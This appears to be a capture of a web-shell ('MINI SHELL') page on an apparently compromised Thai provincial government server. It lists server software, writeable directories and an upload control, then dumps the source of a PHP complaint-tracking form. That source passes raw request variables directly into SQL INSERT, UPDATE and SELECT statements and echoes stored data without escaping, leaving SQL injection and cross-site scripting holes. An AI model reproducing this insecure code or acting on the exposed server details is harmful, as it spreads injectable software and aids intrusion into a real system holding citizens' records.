MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_integration/requirement/application/ecomplain/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_integration/requirement/application/ecomplain/form_add_system.php
<?
session_start();
include "../../config/config.inc.php";
include("function/function.php");
if(!isset($session_username)){
header("Location: ../document/login.php");
}
include("header_menu.php");
//insert timeQuery
include("../../common/common_system.inc.php"); 
$ApplicationName="ecomplain"; 
$time_start = getmicrotime();  
//insert timeQuery
if($action == "SAVE"){
//-------------------------------------------------------------
$strSQL_in = "SELECT * FROM tbl_complain  ORDER BY runid DESC LIMIT 0,1";
$Result_in = mysql_db_query($dbname,$strSQL_in);
$Rs_in = mysql_fetch_object($Result_in);
if((($Rs_in->attach_sb_in != "" or $Rs_in->attach_sb_in != NULL) OR ($Rs_in->attach_sb_out != "" or $Rs_in->attach_sb_out != NULL)) AND ($Rs_in>subject == "" or $Rs_in->subject == NULL)){

$strSQL_add = "UPDATE tbl_complain SET subject='$subject', subject_no_in='$subject_no_in', subject_form='$subject_form', person_res='$person_res', subject_no_out='$subject_no_out', date_start='$date_start', date_end='$date_end', status_ceo='$status_offer', date_ceosing='$date_ceosing', depart='$depart_receive',type_problem='$type_problem', office_id='$office_id',date_late='$date_late'  WHERE runid='".$Rs_in->runid."'";

}else{

//-------------------------------------------------------------
$strSQL_add = "INSERT INTO tbl_complain(subject, subject_no_in, subject_no_out, subject_form, person_res,date_start,date_end,status_ceo,date_ceosing,depart,type_problem,office_id,date_late)VALUES('$subject','$subject_no_in','$subject_no_out','$subject_form','$person_res','$date_start','$date_end','$status_offer','$date_ceosing','$depart_receive','$type_problem','$office_id','$date_late')";

}
//echo $strSQL_add;die;
$Result_add = mysql_db_query($dbname,$strSQL_add);
	if($Result_add){
			echo "
				<script language=\"javascript\">
				alert(\"ทำการบันทึกข้อมูลเสร็จสิ้น\\n \");
				location.href='report_index.php?action=report_group&num=$num';
				</script>
				";
		exit();
	}
}
if($action == "SAVE_EDIT"){
$strSQL_up = "UPDATE tbl_complain SET subject='$subject', subject_no_in='$subject_no_in', subject_no_out='$subject_no_out', subject_form='$subject_form', person_res='$person_res', date_start='$date_start', date_end='$date_end', status_ceo='$status_offer', date_ceosing='$date_ceosing', depart='$depart_receive', date_complate='$date_complate', detail='$detail',type_problem='$type_problem', office_id='$office_id',date_late='$date_late'  WHERE runid='$key_id'";
$Result_up = mysql_db_query($dbname,$strSQL_up);
	if($Result_up){
				echo "
				<script language=\"javascript\">
				alert(\"ทำการบันทึกข้อมูลเสร็จสิ้น\\n \");
				location.href='report_index.php?action=report_group&num=$num';
				</script>
				";
	exit();
	}
}
?><html>
<head>
<title><?=$show_title_comp?></title>
<META http-equiv=Content-Type content="text/html; charset=windows-874">
<link href="../../common/style.css" type="text/css" rel="stylesheet" />
<script language='javascript' src='daily_popcalendar.js'></script>
<script language='javascript' src='displayelement.js'></script>
<style type="text/css">
<!--
body {  margin: 0px  0px; padding: 0px  0px}
a:link { color: #005CA2; text-decoration: none}
a:visited { color: #005CA2; text-decoration: none}
a:active { color: #0099FF; text-decoration: underline}
a:hover { color: #0099FF; text-decoration: underline}
.style2 {color: #000000}
.style3 {color: #FF0000}
-->
</style>

<SCRIPT LANGUAGE="JavaScript">
function CheckForm(){
	var f1 = document.form;	
	a =  Number(f1.date_late.value) ;
	missinginfo = "";
	missinginfo1 = "";

	if (document.form.subject.value == "")  {missinginfo1 += "\n- กรุณากรอก ความต้องการ "; }		
	if (document.form.subject_no_in.value == "")  {missinginfo1 += "\n- กรุณากรอก เลขที่หนังสือ "; }	
	if (document.form.date_start.value == "")  {missinginfo1 += "\n- กรุณากรอก วันเริ่มต้น "; }	
	if (document.form.date_end.value == "")  {missinginfo1 += "\n- กรุณากรอก สิ้นสุด "; }	
	if (document.form.date_late.value == "")  {missinginfo1 += "\n- กรุณากรอก จำนวนวันที่แจ้งเตือน"; }		
	if (a == null || !a.toString().match(/^[-]?\d*\.?\d*$/)){ missinginfo1 += "\n- กรุณากรอก วันที่แจ้งเตือนเป็นตัวเลขเท่านั้น "; }

	
	if (missinginfo1 != "") { 	
		missinginfo += "ไม่สามารถบันทึกข้อมูลได้  เนื่องจาก \n";
		missinginfo +="_____________________________\n";
		missinginfo = missinginfo + missinginfo1  ;
		missinginfo += "\n___________________________";
		missinginfo += "\nกรุณาตรวจสอบ อีกครั้ง";
		alert(missinginfo);
		return false;
	}
}
</SCRIPT>
<script language="javascript">
function popWindow(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}
function popWindow1(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}
function popWindow2(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}

</script>
<script language="javascript">
function clearselect()
{
	document.post.salary_day.disabled=true;
	document.post.salary_month.disabled=true;
	document.post.salary_year.disabled=true;
	document.post.label_date.disabled=true;
	
	 if (document.post.salary_day.value!="")
 	{
       document.post.salary_day.value="";
	   document.post.salary_day.disabled=true;
    }
	 if (document.post.salary_month.value!="")
 	{
       document.post.salary_month.value="";
	   document.post.salary_month.disabled=true;
    }
	
	 if (document.post.salary_year.value!="")
 	{
       document.post.salary_year.value="";
	   document.post.salary_year.disabled=true;
    }
	 if (document.post.label_date.value!="")
 	{
       document.post.label_date.value="";
	   document.post.label_date.disabled=true;
    }
}
</script>
</head>
<body >
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0" style="filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#144C85', EndColorStr='#ffffff');">
  <tr>
    <td valign="top" background="bimg/bg1.gif" style="background-repeat: no-repeat; background-position:right bottom "><table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr><td valign="top"></td></tr>
      <tr>
        <td valign="top" >
	<?
	if($action == "ADD"){
	?>
<form  action = "?" method ="post" enctype="multipart/form-data"  name="form" onSubmit="return CheckForm();" >
              <table width="99%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
                <tr>
                  <td colspan=3 align="left" valign="top" bgcolor="#8DA0C0"><B class="plink style2">
                    เพิ่มข้อมูลเข้าระบบติดตามความต้องการ</B></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back"><span class="style3">*</span>หน่วยงานที่ร้องเรียน</td>
                  <td align="left"><label>
				  <select name="office_id" id="office_id">
				  <option value=""> - ระบุหน่วยงาน - </option>
					<?
						$sql_office = "SELECT * FROM tbl_department ORDER BY office  ASC";
						$Result_office = mysql_db_query($dbname,$sql_office);
						while($rs_of = mysql_fetch_assoc($Result_office)){
							echo "<option value='$rs_of[id]'>$rs_of[office]</option>";
						}
					?>
                    </select>
                  </label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back"><span class="style3">*</span>ประเภทความต้องการ</td>
                  <td align="left"><label>
				      <select name="type_problem" id="type_problem">
					  <option value="">- ระบุประเภทความต้องการ-</option>
					<?
						$sql_type_problem = "SELECT * FROM tbl_type_problem  ORDER BY  type_problem  ASC";
						$Result_type_problem = mysql_db_query($dbname,$sql_type_problem);
						while($rs_tp = mysql_fetch_assoc($Result_type_problem)){
							echo "<option value='$rs_tp[request_id]'>$rs_tp[type_problem]</option>";
						}
					?>
                    </select>
                  </label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back"><span class="style3">*</span>ความต้องการ</td>
                  <td align="left"><label>
                    <input type="text" name="subject" size="30" id="subject">
                  </label></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="middle" class="link_back"><span class="style3">*</span>เลขที่หนังสือ</td>
                  <td align="left" valign="middle"><label>
                    <input type="text" name="subject_no_in" size="30" id="subject_no_in">
&nbsp;                <a href="#" onClick="popWindow('attach_file.php?attach_file=add_in','450','350')"><font color="#003399"><img src="../../images/attach16.gif" width="16" height="16" border="0">แนบไฟล์</font></a></label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">เสนอผู้ว่าราชการจังหวัด</td>
                  <td align="left" valign="top"><label>
                   <input name="status_offer" type="radio" value="0" onClick="clearselect();" checked>
                  ไม่เสนอ 
                  <input name="status_offer" type="radio" value="1">
                  เสนอ</label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">วันที่ลงนาม</td>
                  <td align="left" valign="top"><input name="date_ceosing" type="text" onFocus="blur();" value="" size="20" readonly>
                    <input name="button2" type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_ceosing, 'yyyy-mm-dd')" value='วัน เดือน ปี'></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">ผู้รับเรื่อง</td>
                  <td align="left" valign="top"><label>
                    <input type="text" name="subject_form" size="30" id="subject_form">
                  </label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">ผู้รับผิดชอบ</td>
                  <td align="left" valign="top"><label>
                  <input name="person_res" type="text" size="30">
                  </label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">เลขที่หนังสือออก</td>
                  <td align="left" valign="top"><label>
                    <input name="subject_no_out" type="text" id="subject_no_out" size="30">
                  &nbsp;<a href="#" onClick="popWindow1('attach_file.php?attach_file=add_out','450','350')"><font color="#003399"><img src="../../images/attach16.gif" width="16" height="16" border="0">แนบไฟล์</font></a></label></td>
                </tr>
                
                
                <tr>
                  <td align="right" valign="top" class="link_back">วันเดือนปีหนังสือเข้า</td>
                  <td align="left" valign="top">
				  <input name="date_start" type="text" onFocus="blur();" value="" size="20" readonly>
<input type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_start, 'yyyy-mm-dd')" value='วัน เดือน ปี'></td>
                </tr>
                <tr>
                  <td align="right" valign="top" class="link_back">วันเดือนปีสิ้นสุด</td>
                  <td align="left" valign="top"><input name="date_end" type="text" onFocus="blur();" value="" size="20" readonly>
<input type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_end, 'yyyy-mm-dd')" value='วัน เดือน ปี'></td>
                </tr>
                <tr>
                  <td align="right" valign="top" class="link_back"><span class="style3">*</span>วันแจ้งเตือนก่อนดำเนินการเสร็จ</td>
                  <td align="left" valign="top"><label>
                    <input name="date_late" type="text" id="date_late" size="5" maxlength="2">
                    วัน
                  </label></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top" bgcolor="#BDC9F9"><span class="link_back">หน่วยงานที่รับเรื่อง</span></td>
                  <td align="left" valign="middle" bgcolor="#BDC9F9" class="link_back"><label>
                  <input name="depart_receive" type="text" id="depart_receive" size="30">
                  </label></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top" bgcolor="#BDC9F9"><strong>วันเดือนปีที่ดำเนินการเสร็จ</strong></td>
                  <td align="left" valign="middle" bgcolor="#BDC9F9" class="link_back">
				  <input name="date_complate" type="text" onFocus="blur();" value="" size="20" readonly>
<input type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_complate, 'yyyy-mm-dd')" value='วัน เดือน ปี' disabled="disabled"> &nbsp;&nbsp;</td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top" bgcolor="#BDC9F9"><strong>รายละเอียด</strong></td>
                  <td align="left" valign="middle" bgcolor="#BDC9F9" class="link_back"><label>
                    <textarea name="detail" cols="40" rows="3" disabled="disabled"></textarea>
                  </label></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top" bgcolor="#BDC9F9"></td>
                  <td align="left" valign="middle" bgcolor="#BDC9F9" class="link_back">&nbsp;</td>
                </tr>
                <tr>
                  <td width="20%" align="right" valign="top" bgcolor="#BDC9F9">&nbsp;</td>
                  <td width="80%" align="left" valign="top" bgcolor="#BDC9F9">
				  		<input type="hidden" name="num" value="<?=$num?>">
				  		<input type="hidden" name="action" value="SAVE">
				  		<input type="submit" name="Submit" value=" บันทึก ">
                      <input type="reset" name="Submit2" value="ล้างข้อมูล">
                  <input type="button" name="button" value="ยกเลิก" ONCLICK="location.href='report_index.php?action=report_group&num=<?=$num?>'"></td>
                </tr>
              </table>
            </form>
		<?
		}
		?></td>
      </tr>
	  <tr>
	  <td>
	  	<?
	if($action == "EDIT"){
	$strSQL_edit = "SELECT * FROM tbl_complain WHERE runid = '$runid'";
	$Result_edit = mysql_db_query($dbname,$strSQL_edit);
	$Rs_e = mysql_fetch_object($Result_edit);
	?>
		<form  action = "?" method="post" enctype="multipart/form-data"  name="form" onSubmit="return CheckForm();">
              <table width="99%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
                <tr>
                  <td colspan=3 align="left" valign="top" bgcolor="#8DA0C0"><B class="plink style2">
                    แก้ไขข้อมูลระบบติดตามความต้องการ</B></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back"><span class="style3">*</span>หน่วยงานที่ร้องเรียน</td>
                  <td align="left"><label>
				  <select name="office_id" id="office_id">
					<?
						$sql_office = "SELECT * FROM tbl_department ORDER BY office ASC";
						$Result_office = mysql_db_query($dbname,$sql_office);
						while($rs_of = mysql_fetch_assoc($Result_office)){
							if($rs_of[id] == $Rs_e->offic_id){ $sel_of = "selected";}else{ $sel_of = "";}
							echo "<option value='$rs_of[id]' $sel_of>$rs_of[office]</option>";
						}
					?>
                    </select>
                  </label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back"><span class="style3">*</span>ประเภทความต้องการ</td>
                  <td align="left"><label>
                    <select name="type_problem" id="type_problem">
					<?
						$sql_type_problem = "SELECT * FROM tbl_type_problem  ORDER BY  type_problem  ASC";
						$Result_type_problem = mysql_db_query($dbname,$sql_type_problem);
						while($rs_tp = mysql_fetch_assoc($Result_type_problem)){
							if($rs_tp[request_id] == $Rs_e->type_problem){ $sel_tp = "selected";}else{ $sel_tp = "";}
							echo "<option value='$rs_tp[request_id]' $sel_tp>$rs_tp[type_problem]</option>";
						}
					?>
                    </select>
                  </label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back"><span class="style3">*</span>ความต้องการ</td>
                  <td align="left"><label>
                    <input type="text" name="subject" size="30" id="subject" value="<?=$Rs_e->subject?>">
                  </label></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="middle" class="link_back"><span class="style3">*</span>เลขที่หนังสือ</td>
                  <td align="left" valign="top"><label>
                    <input type="text" name="subject_no_in" size="30" id="subject_no_in" value="<?=$Rs_e->subject_no_in?>">
                   <a href="#" onClick="popWindow('attach_file.php?runid=<?=$runid?>&attach_file=xin','450','350')"><font color="#003399"><img src="../../images/attach16.gif" width="16" height="16" border="0">แนบไฟล์</font></a></label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">เสนอผู้ว่าราชการจังหวัด</td>
                  <td align="left" valign="top"><input name="status_offer" type="radio" value="0" <? if($Rs_e->status_ceo==0){ echo "checked";}?>>
ไม่เสนอ
 							 <input name="status_offer" type="radio" value="1" <? if($Rs_e->status_ceo == 1){ echo "checked";}?>>
เสนอ</td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">วันที่ลงนาม</td>
                  <td align="left" valign="top"><input name="date_ceosing" type="text" onFocus="blur();" value="<?=$Rs_e->date_ceosing?>" size="20" readonly>
                    <input name="button22" type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_ceosing, 'yyyy-mm-dd')" value='วัน เดือน ปี'></td>
                </tr>
				  <tr>
                  <td align="right" valign="middle" class="link_back">ผู้รับเรื่อง</td>
                  <td align="left" valign="top"><label>
                    <input type="text" name="subject_form" size="30" id="subject_form" value="<?=$Rs_e->subject_form?>">
                  </label></td>
                </tr>

                <tr>
                  <td align="right" valign="middle" class="link_back">ผู้รับผิดชอบ</td>
                  <td align="left" valign="top"><label>
                  <input name="person_res" type="text" size="30" value="<?=$Rs_e->person_res?>">
                  </label></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">เลขที่หนังสือออก</td>
                  <td align="left" valign="top"><label>
                    <input name="subject_no_out" type="text" id="subject_no_out" value="<?=$Rs_e->subject_no_out?>" size="30">
                    <a href="#" onClick="popWindow1('attach_file.php?runid=<?=$runid?>&attach_file=xout','450','350')"><font color="#003399"><img src="../../images/attach16.gif" width="16" height="16" border="0">แนบไฟล์</font></a></label></td>
                </tr>
                
                
                <tr>
                  <td align="right" valign="top" class="link_back">วันเดือนปีเริ่มต้น</td>
                  <td align="left" valign="top">
				  <input name="date_start" type="text" onFocus="blur();" value="<?=$Rs_e->date_start?>" size="20" readonly>
<input type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_start, 'yyyy-mm-dd')" value='วัน เดือน ปี'></td>
                </tr>
                <tr>
                  <td align="right" valign="top" class="link_back">วันเดือนปีสิ้นสุด</td>
                  <td align="left" valign="top"><input name="date_end" type="text" onFocus="blur();" value="<?=$Rs_e->date_end?>" size="20" readonly>
<input type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_end, 'yyyy-mm-dd')" value='วัน เดือน ปี'></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top"><span class="link_back"><span class="style3">*</span>วันแจ้งเตือนก่อนดำเนินการเสร็จ</span></td>
                  <td align="left" valign="top">
				  <input name="date_late" type="text" id="date_late" size="5" maxlength="2" value="<?=$Rs_e->date_late?>">
                    วัน
				  </td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top"><span class="link_back">หน่วยงานที่รับเรื่อง</span></td>
                  <td align="left" valign="middle" class="link_back"><label>
                    <input name="depart_receive" type="text" id="depart_receive" value="<?=$Rs_e->depart?>" size="30">
                  </label></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top"><strong>วันเดือนปีที่ดำเนินการเสร็จ</strong> </td>
                  <td align="left" valign="middle" class="link_back"><input name="date_complate" type="text" onFocus="blur();" value="<?=$Rs_e->date_complate?>" size="20" readonly>
                    <input name="button3" type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_complate, 'yyyy-mm-dd')" value='วัน เดือน ปี'>
&nbsp;&nbsp;<a href="#" onClick="popWindow2('attach_file.php?runid=<?=$runid?>&attach_file=xcomp','450','350')"><font color="#003399"><img src="../../images/attach16.gif" width="16" height="16" border="0">แนบไฟล์</font></a></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top"><strong>รายละเอียด</strong></td>
                  <td align="left" valign="middle" class="link_back">
				  <textarea name="detail" cols="40" rows="3"><?=$Rs_e->detail?></textarea></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top"></td>
                  <td align="left" valign="middle" class="link_back">&nbsp;</td>
                </tr>
                <tr>
                  <td align="right" valign="top" width="20%">&nbsp;</td>
                  <td align="left" valign="top" width="80%">
				  		<input type="hidden" name="action" value="SAVE_EDIT">
						<input type="hidden" name="key_id" value="<?=$Rs_e->runid?>">
						<input type="hidden" name="num" value="<?=$num?>">
				  		<input type="submit" name="Submit" value=" บันทึก ">
                      <input type="reset" name="Submit2" value="ล้างข้อมูล">
                      <input type="button" name="button" value="ยกเลิก" ONCLICK="location.href='report_index.php?action=report_group&num=<?=$num?>'"></td>
                </tr>
              </table>
            </form>
		<?
		}
		?>
	  </td>
	  </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?
//insert timeQuery
 $time_end = getmicrotime();
  writetime2db($timestart,$timeend);
//insert timeQuery
?>

Anon7 - 2021